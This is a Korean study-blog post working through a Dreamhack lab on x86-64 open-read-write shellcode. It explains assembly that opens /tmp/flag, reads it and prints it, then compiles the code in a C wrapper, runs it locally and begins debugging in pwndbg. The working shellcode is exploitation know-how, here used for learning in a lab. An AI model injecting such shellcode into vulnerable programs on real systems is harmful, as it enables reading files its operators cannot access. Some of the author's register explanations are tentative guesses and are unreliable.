보안 스터디/시스템 해킹

[드림핵/시스템해킹] Exploit Tech: Shellcode -1

성밍쟁 2023. 12. 31. 04:14
728x90
반응형

용어 정리

익스플로잇 : 해킹 분야에서 상대 시스템을 공격하는 것. 상대 시스템에 침투하여 시스템을 악용하는 해킹

셸코드 : 익스플로잇을 위해 제작된 어셈블리 코드 조각. 

셸(Shell) : 사용자가 운영체제와 상호작용할 수 있도록 하는 명령줄 인터페이스

파일 서술자 (fd) : 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자. 0번은 입력, 1번은 출력

 

 

orw 셸코드 작성

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);

/tmp/flag 파일을 열고, 읽은 뒤 화면에 출력해주는 것을 어셈블리로 구현해보자.

 

(1) int fd = open("/tmp/flag", RD_ONLY, NULL)

첫 번째로 int fd = open("/tmp/flag", RD_ONLY, NULL); 부분 구현이다.

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

이게 드림핵에서 작성된 어셈블리 코드이다.

첫 번째로 해야할 것은 메모리에 /tmp/flag 를 올려야한다.

각 문자들 "/", "t", "m", .....들을 16진수로 표현하였을 때 총 9바이트가 나온다.

하지만 스택에는 8바이트씩 밖에 입력이 되지 않으므로 일부분을 잘라서 써야한다

 

그래서 이런식으로 push 하는 것 같다. 그리고, a가 있는 곳에 현재 rsp(스택포인터)가 위치하고 있다.

 

그 다음 확인해야할 부분은 mov rdi, rsp 부분인데, rsp의 값을 rdi에 대입한다는 코드이다.  목적지 인덱스 레지스터에 rsp(스택 포인터)를 대입하였다.

xor rsi, rsi : rsi(근원지 인덱스 레지스터)에 XOR을 하여 0을 만드는 것인데, O_RDONLY의 값이 0이라서 그렇게 설정한 것 같고, 

xor rdx, rdx : rdx(데이터 레지스터)에 xor을 하여 0을 만드는 것인데, 파일 읽을때의 mode값 설정인 듯 하다

 

mov rax, 2: rax(누산 레지스터)에 2를 설정하는 것인데, open의 syscall 값인 2를 설정한 것이다.

그리고 syscall 을 한다.

 

 

(2) read(fd, buf, 0x30)

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

위에서 syscall을 하면 반환값이 나오는데, 이는 rax에 저장된다. -> open으로 획득한 /tmp/flag 의 fd(파일 기술자)는 rax에 저장된다.

이를 rdi(목적지 인덱스 레지스터)에 저장하기 위해 mov rdi, rax 를 이용한다

그 다음, rsi(근원지 인덱스 레지스터)에는 데이터를 저장할 주소를 가리킨다. 0x30만큼 읽을 거라고 되어 있는데(why?)

스택 포인트에서 0x30만큼 뺀 지점에서부터 데이터를 읽을 것이기 때문에 rsi-0x30을 계산하기 위해

mov rsi, rsp (rsi에 rsp를 대입), sub rsi, 0x30으로 계산을 완료하였다

그리고 0x30만큼 읽을거라고 rdx에 mov rdx, 0x30을 이용하여 0x30의 값을 대입하였다.  rax 는 0을 대입하고 , syscall을 한다.

 

 

(3) write(1, buf, 0x30)

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

표준 출력 1을 입력하여주고, read에서 사용한 값을 그대로 사용할 것이기 때문에

mov rdi =1 (펴준 출력)을 해주고, syscal을 위해 rax 1을 해준다

 

최종적으로 종합하면

;Name: orw.S

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

 

orw 셸코드 컴파일 및 실행

위에서 작성한 셸코드 orw.S는 아스키로 작성된 어셈블리 코드 이므로, 기계어로 치환하면 CPI는 이해할 수 있으나, ELF(Execitable and Linkable Format) 형식이 아니므로 리눅스에서 실행될 수 없다. 고로 gcc 컴파일을 해보자.

(이제 드디어 vs 코드에서도 잘 깔아서 실행이 됨)

;Name: orw.S

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");

void run_sh();

int main() { run_sh(); }

 

이렇게 해놓고

echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag

이것 입력 후

$ gcc -o orw orw.c -masm=intel
$ ./orw

 

이걸 입력하니

결과값이 잘 나왔다.

 

확실히 가상머신에서 겨우 vscode 에서 되니까 매우매우 편하고 잘 작동한다.

 

 

orw 셸코드 디버깅

$ gdb orw -q
...
pwndbg> b *run_sh
Breakpoint 1 at 0x1129
pwndbg>

b : break, 즉 orw를 gdb로 열고, run_sh()에 브레이크 포인터를 열었다.

그 후 , r(run)명령어를 입력하면 run_sh() 의 시작부분까지 코드가 작성되어서, push 0x67부분에서 멈춰있다.-> rip

rip는 스택 마지막 부분(제일 높은 주소) 인 것 같다

 

(1) int fd = open("tmp/flag", O_RDONLY, NULL)

첫 번째 syscall 이 위치한 run_sh+29에 break를 걸어서 인자를 확인하자

 

나머지는 드림핵

https://learn.dreamhack.io/50#7여기서 나온 그대로이다.

 

로그인 | Dreamhack

 

dreamhack.io

 

 

초기화되지 않은 메모리 영역 사용

가끔 알수없는 문자열이 출력되느 경우가 있다

이는 초기화되지 않은 메모리사용(Use of Uninitialzed Memory)이다.

이럴 경우, read 시스템 콜을 실행한 직후로 돌아가 원인을 분석해볼 수 있다.

쓰레기값은 해커에 입장에서 쓰레기 값이 아님. 이 런 작업을 메모리 릭이라고 함.

 

 

에필로그

처음이라서 그런가, 조금 많이 어색하고 중간중간에 섞이는 게 많아서 잘 안 된 거 같고, 무엇보다 레지스터 해석하는 게 좀 힘들긴 하다. 좀 더 많이 연습해봐야겠다.

+ vs코드에서 실행이 되니 확실히 편하다

728x90
반응형